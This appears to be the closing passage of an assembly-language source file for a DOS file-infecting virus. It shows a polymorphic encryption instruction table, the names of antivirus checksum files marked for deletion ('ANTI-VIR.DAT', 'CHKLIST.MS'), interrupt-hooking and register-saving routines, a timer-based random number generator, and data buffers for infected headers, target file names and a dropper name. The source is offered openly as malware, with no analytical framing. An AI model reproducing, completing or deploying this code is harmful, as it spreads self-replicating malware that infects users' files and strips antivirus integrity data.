inm_02h_table equ this byte
|
||
db 80h,0C4h ; add ah,1C
|
||
db 80h,0C2h ; add dl,1C
|
||
db 80h,0C6h ; add dh,1C
|
||
db 80h,0ECh ; sub ah,1C
|
||
db 80h,0EAh ; sub dl,1C
|
||
db 80h,0EEh ; sub dh,1C
|
||
db 80h,0D4h ; adc ah,1C
|
||
db 80h,0D2h ; adc dl,1C
|
||
db 80h,0D6h ; adc dh,1C
|
||
db 80h,0DCh ; sbb ah,1C
|
||
db 80h,0DAh ; sbb dl,1C
|
||
db 80h,0DEh ; sbb dh,1C
|
||
db 80h,0F4h ; xor ah,1C
|
||
db 80h,0F2h ; xor dl,1C
|
||
db 80h,0F6h ; xor dh,1C
|
||
db 80h,0CCh ; or ah,1C
|
||
db 80h,0CAh ; or dl,1C
|
||
db 80h,0CEh ; or dh,1C
|
||
db 80h,0E4h ; and ah,1C
|
||
db 80h,0E2h ; and dl,1C
|
||
db 80h,0E6h ; and dh,1C
|
||
db 83h,0E2h ; and dx,0000
|
||
db 83h,0C2h ; add dx,0000
|
||
db 83h,0CAh ; or dx,0000
|
||
db 83h,0F2h ; xor dx,0000
|
||
db 83h,0DAh ; sbb dx,0000
|
||
db 83h,0D2h ; adc dx,0000
|
||
db 83h,0EAh ; sub dx,0000
|
||
end_inm_02h equ this byte
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ File names to delete inside the int 21h level encryption ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
del_this_shit01 db "ANTI-VIR.DAT",00h
|
||
del_this_shit02 db "CHKLIST.MS",00h
|
||
dd 00000000h
|
||
end_area03h equ this byte
|
||
dd 00000000h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Memory allocation routine ³
|
||
;³ On entry: ³
|
||
;³ SI -> number of paragraphs to allocate ³
|
||
;³ On exit: ³
|
||
;³ DI -> allocated base address (0000h if error) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
mem_alloc: xor di,di ; Error flag
|
||
mov ax,5800h ; Get and save memory
|
||
int 21h ; allocation strategy
|
||
jnc mem_ok_1
|
||
ret
|
||
mem_ok_1: push ax
|
||
mov ax,5801h ; Set new allocation
|
||
mov bx,0080h ; strategy to first
|
||
int 21h ; fit high then low
|
||
mem_ok_2: mov ax,5802h ; Get and save UMB
|
||
int 21h ; link state
|
||
jc mem_error_1
|
||
xor ah,ah
|
||
push ax
|
||
mov ax,5803h ; UMB link state on
|
||
mov bx,0001h
|
||
int 21h
|
||
mov ah,48h ; Allocate memory
|
||
mov bx,si
|
||
int 21h
|
||
jc mem_error_2
|
||
mov di,ax
|
||
mem_error_2: mov ax,5803h ; Restore UMB
|
||
pop bx ; link state
|
||
int 21h
|
||
mem_error_1: mov ax,5801h ; Restore allocation
|
||
pop bx ; strategy
|
||
int 21h
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Timer-based random number generator ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
get_rnd: push cx
|
||
in ax,40h ; Get a random number
|
||
mov cl,al ; using the timer
|
||
xor al,ah ; port
|
||
xor ah,cl
|
||
xor ax,word ptr cs:[randomize]
|
||
mov word ptr cs:[randomize],ax
|
||
pop cx
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate a 16bit random number ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
rand_16: push bx
|
||
call get_rnd ; Get a 16bit random
|
||
mov bl,al ; number using our
|
||
call get_rnd ; 8bit rnd generator
|
||
mov bh,al
|
||
call get_rnd
|
||
xor bl,al
|
||
call get_rnd
|
||
xor bh,al
|
||
xchg bx,ax
|
||
pop bx
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate a random number between 0 and AX ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
rand_in_range: push bx ; Returns a random
|
||
push dx ; number between 0 and
|
||
xchg ax,bx ; the entry in AX
|
||
call get_rnd
|
||
xor dx,dx
|
||
div bx
|
||
xchg ax,dx ; Reminder in DX
|
||
pop dx
|
||
pop bx
|
||
ret
|
||
dd 00000000h
|
||
end_area02h equ this byte
|
||
dd 00000000h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Return the al vector in ES:BX ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
get_int: push ax
|
||
xor ah,ah
|
||
rol ax,1
|
||
rol ax,1
|
||
xchg bx,ax
|
||
xor ax,ax
|
||
mov es,ax
|
||
les bx,dword ptr es:[bx+00h]
|
||
pop ax
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Set al interrupt vector to DS:DX ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
set_int: push ax
|
||
push bx
|
||
push ds
|
||
cli
|
||
xor ah,ah
|
||
rol ax,1
|
||
rol ax,1
|
||
xchg ax,bx
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov word ptr ds:[bx+00h],dx
|
||
pop word ptr ds:[bx+02h]
|
||
sti
|
||
pop ds
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Save all the registers in the stack ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
push_all: cli
|
||
pop word ptr cs:[ret_push]
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push bp
|
||
push si
|
||
push di
|
||
push es
|
||
push ds
|
||
push word ptr cs:[ret_push]
|
||
sti
|
||
ret
|
||
ret_push dw 0000h ; Caller address
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Restore all the registers from the stack ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
pop_all: cli
|
||
pop word ptr cs:[ret_pop]
|
||
pop ds
|
||
pop es
|
||
pop di
|
||
pop si
|
||
pop bp
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
push word ptr cs:[ret_pop]
|
||
sti
|
||
ret
|
||
ret_pop dw 0000h ; Caller address
|
||
dd 00000000h
|
||
end_area01h equ this byte
|
||
dd 00000000h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Virus buffers (inserted into infections) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
old_header db 1Ch dup (00h) ; Old file header
|
||
dd 00000000h
|
||
virus_inf_end equ this byte
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Virus data buffer (not inserted into infections) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
dd 00000000h
|
||
use_close db 00h
|
||
use_terminate db 00h
|
||
eng_recursive db 00h
|
||
eng_loop_point dw 0000h
|
||
eng_crypt_key dw 0000h
|
||
eng_displace dw 0000h
|
||
eng_entry_point dw 0000h
|
||
eng_init_ptr dw 0000h
|
||
eng_cmp_ptr dw 0000h
|
||
eng_exit_jmp dw 0000h
|
||
randomize dw 0000h ; Seed for random numbers
|
||
file_attr dw 0000h ; Original file attribute
|
||
file_date dw 0000h ; File date
|
||
file_time dw 0000h ; ... and time
|
||
file_size dd 00000000h ; Size of file to infect
|
||
inf_header db 1Ch dup (00h) ; Infected header
|
||
exec_filename db 80h dup (00h) ; File to infect
|
||
open_filename db 80h dup (00h) ; File to infect
|
||
delete_path db 80h dup (00h) ; File to delete
|
||
dropper_name db 0Eh dup (00h) ; Dropper file name
|
||
virus_mem_end equ this byte
|
||
|
||
anti_eta ends
|
||
end entry_point
|